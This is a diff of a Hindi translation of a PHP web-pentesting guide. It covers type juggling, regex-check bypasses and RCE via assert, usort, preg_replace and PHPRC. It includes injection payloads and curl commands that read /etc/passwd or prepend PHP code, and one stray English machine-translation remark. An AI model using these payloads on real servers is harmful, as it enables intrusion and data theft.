* `"string" == 0 -> True` एक स्ट्रिंग जो एक नंबर से शुरू नहीं होती है वह एक नंबर के बराबर होती है
|
||||
* `"0xAAAA" == "43690" -> True` दशमलव या हेक्स प्रारूप में संख्याओं से बनी स्ट्रिंग्स की तुलना अन्य संख्याओं/स्ट्रिंग्स से की जा सकती है और यदि संख्याएँ समान होती हैं तो परिणाम True होता है (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और उसके बाद कुछ भी आने वाली स्ट्रिंग 0 के बराबर होती है
|
||||
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और उसके बाद कोई भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी आने वाली स्ट्रिंग 0 के बराबर होती है
|
||||
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जिसे हैश किया जा रहा है और उसकी तुलना की जा रही है। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और उसमें कोई अक्षर नहीं होगा, तो आप तुलना को बायपास कर सकते हैं। इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पाई जा सकती हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
|
||||
* `"0xAAAA" == "43690" -> True` नंबरों में बनी स्ट्रिंग्स जो दशमलव या हेक्स प्रारूप में होती हैं, वे अन्य नंबरों/स्ट्रिंग्स के साथ तुलना कर सकती हैं और यदि नंबर समान होते हैं तो परिणाम True होता है (स्ट्रिंग में नंबरों को नंबरों के रूप में समझा जाता है)
|
||||
* `"0e3264578" == 0 --> True` एक स्ट्रिंग जो "0e" से शुरू होती है और उसके बाद कुछ भी होता है वह 0 के बराबर होती है
|
||||
* `"0X3264578" == 0X --> True` एक स्ट्रिंग जो "0" से शुरू होती है और उसके बाद कोई भी अक्षर (X कोई भी अक्षर हो सकता है) और उसके बाद कुछ भी होता है वह 0 के बराबर होती है
|
||||
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट को नियंत्रित कर सकते हैं और कुछ सामग्री जो हैश की जा रही है और उससे तुलना की जा रही है। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और उसमें कोई अक्षर नहीं होगा, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर इंट 0 के बराबर होता है
|
||||
|
||||
अधिक जानकारी [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) पर
|
||||
अधिक जानकारी के लिए [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**प्रकार जुगलिंग** `in_array()` फ़ंक्शन को भी प्रभावित करती है जो डिफ़ॉल्ट रूप से होती है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सच में सेट करना होगा):
|
||||
**टाइप जगलिंग** डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन को भी प्रभावित करती है (आपको सख्त तुलना करने के लिए तीसरे तर्क को सच में सेट करना होगा):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -63,7 +63,7 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
यदि यह फ़ंक्शन **किसी भी प्रमाणीकरण जांच** (जैसे कि पासवर्ड की जांच) के लिए इस्तेमाल किया जाता है और उपयोगकर्ता तुलना के एक पक्ष को नियंत्रित करता है, तो वह पासवर्ड के मूल्य के रूप में एक स्ट्रिंग के बजाय एक खाली ऐरे भेज सकता है (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को बायपास कर सकता है:
|
||||
यदि यह फ़ंक्शन **किसी भी प्रमाणीकरण जांच** (जैसे कि पासवर्ड की जांच) के लिए इस्तेमाल किया जाता है और उपयोगकर्ता तुलना के एक पक्ष को नियंत्रित करता है, तो वह पासवर्ड के मूल्य के रूप में एक स्ट्रिंग के बजाय एक खाली ऐरे भेज सकता है (`https://example.com/login.php/?username=admin&password[]=`) और इस जांच को बाईपास कर सकता है:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
|
@ -80,11 +80,11 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट को मान्य करने** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/regex** **ब्लैकलिस्ट** में **मौजूद** है **उपयोगकर्ता इनपुट** पर और अगर नहीं है, तो कोड अपनी क्रियान्वयन जारी रख सकता है)।
|
||||
**`preg_match()`** का उपयोग **प्रयोक्ता इनपुट की वैधता जांचने** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/regex** जो **ब्लैकलिस्ट** में है, **प्रयोक्ता इनपुट** में **मौजूद** है और यदि नहीं है, तो कोड अपनी क्रियान्विति जारी रख सकता है)।
|
||||
|
||||
#### नई लाइन बायपास
|
||||
|
||||
हालांकि, जब regexp की शुरुआत को सीमित करते हुए `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली लाइन की जांच करता है**, तो अगर आप किसी तरह **कई लाइनों में** इनपुट **भेज** सकते हैं, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
हालांकि, जब regexp की शुरुआत को सीमित करते हुए `preg_match()` **केवल प्रयोक्ता इनपुट की पहली लाइन की जांच करता है**, तो यदि आप किसी तरह **कई लाइनों में इनपुट भेज सकते हैं**, तो आप इस जांच को बायपास करने में सक्षम हो सकते हैं। उदाहरण:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -97,7 +97,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
इस जांच को बायपास करने के लिए आप **नई-लाइनों के साथ मान यूआरएलएन्कोडेड भेज सकते हैं** (`%0A`) या यदि आप **JSON डेटा भेज सकते हैं**, तो इसे **कई पंक्तियों में भेजें**:
|
||||
इस जांच को बायपास करने के लिए आप **नई-लाइनों के साथ मान भेज सकते हैं urlencoded** (`%0A`) या यदि आप **JSON डेटा भेज सकते हैं**, तो इसे **कई पंक्तियों में भेजें**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -116,16 +116,18 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
संक्षेप में, समस्या इसलिए होती है क्योंकि PHP में `preg_*` फंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों का मिलान बहुत सारे पुनरावृत्ति कॉल्स का उपयोग करके किया जाता है, जिससे स्टैक स्पेस का बहुत उपयोग होता है। पुनरावृत्ति की अनुमति दी गई सीमा को सेट करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है जो कि स्टैक में फिट होने से अधिक है।
|
||||
संक्षेप में, समस्या इसलिए होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE लाइब्रेरी](http://www.pcre.org/) पर आधारित होते हैं। PCRE में कुछ नियमित अभिव्यक्तियों का मिलान बहुत सारे पुनरावृत्ति कॉल्स का उपयोग करके किया जाता है, जिससे स्टैक स्पेस का बहुत उपयोग होता है। पुनरावृत्ति की अनुमति दी गई सीमा को सेट करना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) होती है जो कि स्टैक में फिट होने से अधिक है।
|
||||
|
||||
[यह Stackoverflow थ्रेड](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) भी पोस्ट में लिंक किया गया था जहां इस मुद्दे के बारे में और अधिक गहराई से बात की गई है। हमारा कार्य अब स्पष्ट था:\
|
||||
**ऐसा इनपुट भेजें जो रेगेक्स को 100,000+ पुनरावृत्ति करने के लिए मजबूर करे, जिससे SIGSEGV हो, `preg_match()` फंक्शन `false` लौटाए, जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, और पेलोड के अंत में आश्चर्य जैसे `{system(<verybadcommand>)}` डालकर SSTI --> RCE --> फ्लैग प्राप्त करें :)**।
|
||||
**एक इनपुट भेजें जो रेगेक्स को 100,000+ पुनरावृत्ति करने के लिए मजबूर करे, जिससे SIGSEGV हो, जिससे `preg_match()` फ़ंक्शन `false` लौटाए, जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, और पेलोड के अंत में आश्चर्य दिखाए जैसे `{system(<verybadcommand>)}` ताकि SSTI --> RCE --> फ्लैग मिल सके :)**।
|
||||
|
||||
खैर, रेगेक्स की शर्तों में, हम वास्तव में 100k "पुनरावृत्ति" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में बताया गया है कि यह डिफ़ॉल्ट रूप से 1,000,000 (1M) होता है `pcre.backtrack_limit` वेरिएबल में।\
|
||||
खैर, रेगेक्स की शर्तों में, हम वास्तव में 100k "पुनरावृत्ति" नहीं कर रहे हैं, बल्कि हम "बैकट्रैकिंग स्टेप्स" की गिनती कर रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) में बताया गया है कि यह डिफ़ॉल्ट रूप से 1,000,000 (1M) `pcre.backtrack_limit` वेरिएबल में होता है।\
|
||||
इसे प्राप्त करने के लिए, `'X'*500_001` से 1 मिलियन बैकट्रैकिंग स्टेप्स (500k आगे और 500k पीछे) होंगे:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
Since there is no content provided to translate other than the title, here is the translation for the title:
|
||||
|
||||
### PHP अस्पष्टीकरण के लिए Type Juggling
|
||||
```php
|
||||
$obfs = "1"; //string "1"
|
||||
|
@ -139,7 +141,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## Execute After Redirect (EAR)
|
||||
|
||||
यदि PHP किसी अन्य पृष्ठ पर पुनर्निर्देशित कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन को **हेडर `Location` सेट करने के बाद कॉल नहीं किया जाता है**, तो PHP निरंतर निष्पादन करता है और डेटा को बॉडी में जोड़ता रहता है:
|
||||
यदि PHP किसी अन्य पृष्ठ पर पुनर्निर्देशित कर रहा है लेकिन **`die`** या **`exit`** फ़ंक्शन को **`Location` हेडर सेट करने के बाद कॉल नहीं किया जाता है**, तो PHP निरंतर निष्पादन करता रहता है और डेटा को बॉडी में जोड़ता रहता है:
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -149,12 +151,12 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## और ट्रिक्स
|
||||
## और तरकीबें
|
||||
|
||||
* **register_globals**: **PHP < 4.1.1.1** में या गलत कॉन्फ़िगरेशन की स्थिति में, **register_globals** सक्रिय हो सकता है (या उनके व्यवहार की नकल की जा रही हो सकती है)। इसका मतलब है कि ग्लोबल वेरिएबल्स जैसे कि $\_GET में अगर कोई मान हो, उदाहरण के लिए $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर्स भेजकर आप कोड के भीतर इस्तेमाल किए जा रहे वेरिएबल्स को ओवरराइट कर सकते हैं**।
|
||||
* **PHPSESSION कुकीज़ एक ही डोमेन के लिए एक ही जगह संग्रहीत की जाती हैं**, इसलिए अगर एक डोमेन के भीतर **अलग-अलग पथों में अलग-अलग कुकीज़ का इस्तेमाल किया जाता है** तो आप यह सुनिश्चित कर सकते हैं कि एक पथ **दूसरे पथ की कुकी को एक्सेस करे** दूसरे पथ की कुकी के मान को सेट करके।\
|
||||
इस तरह से अगर **दोनों पथ एक ही नाम के साथ एक वेरिएबल को एक्सेस करते हैं** तो आप यह सुनिश्चित कर सकते हैं कि **पथ1 में उस वेरिएबल का मान पथ2 पर लागू हो**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मान लेगा (पथ2 में उसे संबंधित नाम देकर)।
|
||||
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता चेक करें: **/\~\<USERNAME>** देखने के लिए कि PHP निर्देशिकाएँ सक्रिय हैं या नहीं।
|
||||
* **register_globals**: **PHP < 4.1.1.1** में या गलत कॉन्फ़िगरेशन की स्थिति में, **register_globals** सक्रिय हो सकता है (या उनके व्यवहार की नकल की जा रही है)। इसका मतलब है कि ग्लोबल वेरिएबल्स जैसे कि $\_GET में अगर कोई मान हो, उदाहरण के लिए $\_GET\["param"]="1234", तो आप इसे **$param के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर्स भेजकर आप कोड के भीतर इस्तेमाल होने वाले वेरिएबल्स को ओवरराइट कर सकते हैं**।
|
||||
* **एक ही डोमेन के PHPSESSION कुकीज़ एक ही जगह संग्रहीत किए जाते हैं**, इसलिए अगर एक डोमेन के भीतर **अलग-अलग पथों में अलग-अलग कुकीज़ का इस्तेमाल किया जाता है** तो आप यह कर सकते हैं कि एक पथ **दूसरे पथ की कुकी का एक्सेस प्राप्त करे** दूसरे पथ की कुकी के मान को सेट करके।\
|
||||
इस तरह से अगर **दोनों पथ एक ही नाम के साथ एक वेरिएबल का एक्सेस करते हैं** तो आप यह कर सकते हैं कि **पथ1 में उस वेरिएबल का मान पथ2 पर लागू हो**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मानेगा (पथ2 में उसे संबंधित नाम देकर)।
|
||||
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** हों। पता चेक करें: **/\~\<USERNAME>** यह देखने के लिए कि PHP निर्देशिकाएँ सक्रिय हैं या नहीं।
|
||||
* [**LFI और RCE का उपयोग करते हुए PHP रैपर्स**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password_hash/password_verify
|
||||
|
@ -171,7 +173,7 @@ True
|
|||
### HTTP हेडर्स को बायपास करना PHP त्रुटियों का दुरुपयोग करके
|
||||
|
||||
यदि कोई **PHP पेज त्रुटियों को प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान की गई कुछ इनपुट को वापस इको कर रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **पर्याप्त लंबी सामग्री प्रिंट करने के लिए बना सकता है** ताकि जब वह प्रतिक्रिया में **हेडर्स जोड़ने की कोशिश करे** तो सर्वर एक त्रुटि फेंक देगा।\
|
||||
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियां फेंकने के लिए बनाया**, और जैसा कि आप स्क्रीन में देख सकते हैं जब PHP ने **हेडर जानकारी को संशोधित करने की कोशिश की, वह नहीं कर पाई** (इसलिए उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया था):
|
||||
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियां फेंकने के लिए बनाया**, और जैसा कि आप स्क्रीन में देख सकते हैं जब php ने **हेडर जानकारी को संशोधित करने की कोशिश की, वह नहीं कर पाया** (इसलिए उदाहरण के लिए CSP हेडर उपयोगकर्ता को नहीं भेजा गया था):
|
||||
|
||||
![](<../../../.gitbook/assets/image (465).png>)
|
||||
|
||||
|
@ -188,7 +190,10 @@ True
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
### **RCE के माध्यम से Eval()**
|
||||
### **Eval() के माध्यम से RCE**
|
||||
|
||||
"replace" तर्क में कोड निष्पादित करने के लिए कम से कम एक मेल आवश्यक है।
|
||||
preg_replace का यह विकल्प **PHP 5.5.0 के रूप में अप्रचलित कर दिया गया है।**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
|
@ -198,12 +203,12 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
```
|
||||
### **Assert() के माध्यम से RCE**
|
||||
|
||||
PHP में यह फंक्शन आपको **स्ट्रिंग में लिखे गए कोड को निष्पादित करने की अनुमति देता है** ताकि **सत्य या असत्य लौटा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर यूजर वेरिएबल को स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप यह कर सकते हैं:
|
||||
php में यह फंक्शन आपको **स्ट्रिंग में लिखे गए कोड को निष्पादित करने की अनुमति देता है** ताकि **सत्य या असत्य लौटा सके** (और इसके आधार पर निष्पादन को बदल सके)। आमतौर पर यूजर वेरिएबल को एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप कर सकते हैं:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
आपको कोड **सिंटैक्स** को **तोड़ना** होगा, अपना **पेलोड** **जोड़ें**, और फिर इसे फिर से **ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे कि "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि अगर पहली शर्त सच है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" भी काम नहीं करता क्योंकि हमारा पेलोड नहीं चलेगा।
|
||||
आपको कोड **सिंटैक्स** को **तोड़ना** होगा, अपना **पेलोड जोड़ें**, और फिर इसे फिर से **ठीक करना** होगा। आप **लॉजिक ऑपरेशंस** जैसे कि "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करता क्योंकि अगर पहली शर्त सच है तो हमारा पेलोड नहीं चलेगा। उसी तरह ";" काम नहीं करता क्योंकि हमारा पेलोड नहीं चलेगा।
|
||||
|
||||
**दूसरा विकल्प** यह है कि स्ट्रिंग में कमांड का निष्पादन जोड़ें: `'.highlight_file('.passwd').'`
|
||||
|
||||
|
@ -211,7 +216,7 @@ PHP में यह फंक्शन आपको **स्ट्रिंग
|
|||
|
||||
### **RCE के माध्यम से usort()**
|
||||
|
||||
यह फंक्शन एक विशिष्ट फंक्शन का उपयोग करके आइटम्स की एक ऐरे को सॉर्ट करने के लिए प्रयोग किया जाता है।\
|
||||
यह फंक्शन एक विशिष्ट फंक्शन का उपयोग करके आइटम्स की एक ऐरे को सॉर्ट करने के लिए इस्तेमाल किया जाता है।\
|
||||
इस फंक्शन का दुरुपयोग करने के लिए:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
|
@ -234,11 +239,11 @@ usort();}phpinfo;#, "cmp");
|
|||
```
|
||||
आप कोड के बाकी हिस्से को कमेंट करने के लिए **//** का भी उपयोग कर सकते हैं।
|
||||
|
||||
आपको जितने पैरेंथेसिस की आवश्यकता है उसे खोजने के लिए:
|
||||
आपको जितने पैरेंथेसिस बंद करने की आवश्यकता है, उसे खोजने के लिए:
|
||||
|
||||
* `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक ब्रैकेट्स को मिस कर रहे हैं।
|
||||
* `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`). शायद हम एक या अधिक ब्रैकेट्स मिस कर रहे हैं।
|
||||
* `?order=id);}//`: हमें एक **चेतावनी** मिलती है। यह सही लगता है।
|
||||
* `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक समापन ब्रैकेट्स हैं।
|
||||
* `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`). शायद हमारे पास बहुत अधिक बंद करने वाले ब्रैकेट्स हैं।
|
||||
|
||||
### **RCE via .httaccess**
|
||||
|
||||
|
@ -248,18 +253,18 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
### RCE via Env Variables
|
||||
|
||||
यदि आपको एक भेद्यता मिलती है जो आपको **PHP में env variables को संशोधित करने की अनुमति देती है** (और एक और फाइलें अपलोड करने के लिए, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
|
||||
यदि आपको एक भेद्यता मिलती है जो आपको PHP में **env variables को संशोधित करने की अनुमति देती है** (और एक और फाइलें अपलोड करने के लिए, हालांकि अधिक शोध के साथ शायद इसे बायपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह env variable आपको अन्य बाइनरीज को निष्पादित करते समय मनमानी लाइब्रेरीज को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)।
|
||||
* **`PHPRC`**: PHP को निर्देशित करता है **कि अपनी कॉन्फ़िगरेशन फाइल कहां खोजें**, आमतौर पर `php.ini` कहलाती है। यदि आप अपनी खुद की कॉन्फ़िग फाइल अपलोड कर सकते हैं, तो, `PHPRC` का उपयोग करके PHP को इस पर निर्देशित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो दूसरी अपलोड की गई फाइल को निर्दिष्ट करती है। यह दूसरी फाइल सामान्य **PHP कोड होती है, जो फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित की जाती है**।
|
||||
1. हमारे शेलकोड वाली PHP फाइल अपलोड करें
|
||||
2. दूसरी फाइल अपलोड करें, जिसमें **`auto_prepend_file`** निर्देश होता है जो PHP प्रीप्रोसेसर को निर्देशित करता है कि वह पहले चरण में अपलोड की गई फाइल को निष्पादित करे
|
||||
3.  `PHPRC` वेरिएबल को हमने दूसरे चरण में अपलोड की गई फाइल पर सेट करें।
|
||||
* इस चेन को निष्पादित करने के लिए अधिक जानकारी [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/) प्राप्त करें।
|
||||
* **`PHPRC`**: PHP को निर्देशित करता है कि उसकी कॉन्फ़िगरेशन फ़ाइल कहां स्थित है, आमतौर पर `php.ini` कहलाती है। यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो, `PHPRC` का उपयोग करके PHP को उस पर निर्देशित करें। एक **`auto_prepend_file`** प्रविष्टि जोड़ें जो दूसरी अपलोड की गई फ़ाइल को निर्दिष्ट करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड होती है, जिसे फिर PHP रनटाइम द्वारा किसी अन्य कोड से पहले निष्पादित किया जाता है**।
|
||||
1. हमारे शेलकोड वाली एक PHP फ़ाइल अपलोड करें
|
||||
2. दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देश होता है जो PHP प्रीप्रोसेसर को निर्देशित करता है कि वह पहले चरण में अपलोड की गई फ़ाइल को निष्पादित करे
|
||||
3.  `PHPRC` वेरिएबल को हमने दूसरे चरण में अपलोड की गई फ़ाइल पर सेट करें।
|
||||
* इस चेन को निष्पादित करने के लिए अधिक जानकारी [**मूल रिपोर्ट से प्राप्त करें**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - एक और विकल्प
|
||||
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो कि `stdin` को भेजे गए अनुरोध का **बॉडी** होता है:
|
||||
* यदि आप **फाइलें अपलोड नहीं कर सकते**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो कि अनुरोध के **बॉडी** को `stdin` में भेजता है:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* या RCE प्राप्त करने के लिए, **`allow_url_include`** को सक्षम करें और **base64 PHP कोड** वाली फाइल को प्रीपेंड करें:
|
||||
* या RCE प्राप्त करने के लिए, **`allow_url_include`** को सक्षम करें और एक फ़ाइल को **base64 PHP कोड** के साथ prepend करें:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* तकनीक [**इस रिपोर्ट से**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
|
@ -271,17 +276,19 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
यदि आप PHP एप्लिकेशन को डीबग कर रहे हैं तो आप `/etc/php5/apache2/php.ini` में `display_errors = On` जोड़कर ग्लोबली एरर प्रिंटिंग को सक्षम कर सकते हैं और अपाचे को पुनः स्टार्ट करें: `sudo systemctl restart apache2`
|
||||
|
||||
### PHP कोड को Deobfuscating करना
|
||||
|
||||
आप **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को deobfuscate कर सकते हैं।**
|
||||
|
||||
## PHP Wrappers & Protocols
|
||||
|
||||
PHP Wrappers और protocols आपको सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास करने** और उसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पृष्ठ को देखें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)।
|
||||
PHP Wrappers और प्रोटोकॉल आपको सिस्टम में **लिखने और पढ़ने की सुरक्षा को बायपास करने** और उसे समझौता करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए यह पृष्ठ देखें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)।
|
||||
|
||||
## Xdebug अप्रमाणित RCE
|
||||
|
||||
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है, तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
|
||||
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
|
||||
|
||||
## वेरिएबल वेरिएबल्स
|
||||
```php
|
||||
|
@ -297,7 +304,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE का दुरुपयोग करते हुए नया $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
यदि आप किसी पृष्ठ पर **किसी मनमानी क्लास की नई ऑब्जेक्ट बना सकते हैं**, तो आप RCE प्राप्त कर सकते हैं, जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
यदि आप किसी पृष्ठ पर **किसी मनमानी क्लास की नई ऑब्जेक्ट बना सकते हैं** तो आप RCE प्राप्त कर सकते हैं, जानने के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -327,14 +334,14 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
तो, यदि आप **किसी भी PHP को बिना नंबर और अक्षरों के निष्पादित कर सकते हैं** तो आप निम्नलिखित अनुरोध भेज सकते हैं जो उस पेलोड का दुरुपयोग करके मनमाने PHP को निष्पादित करने के लिए है:
|
||||
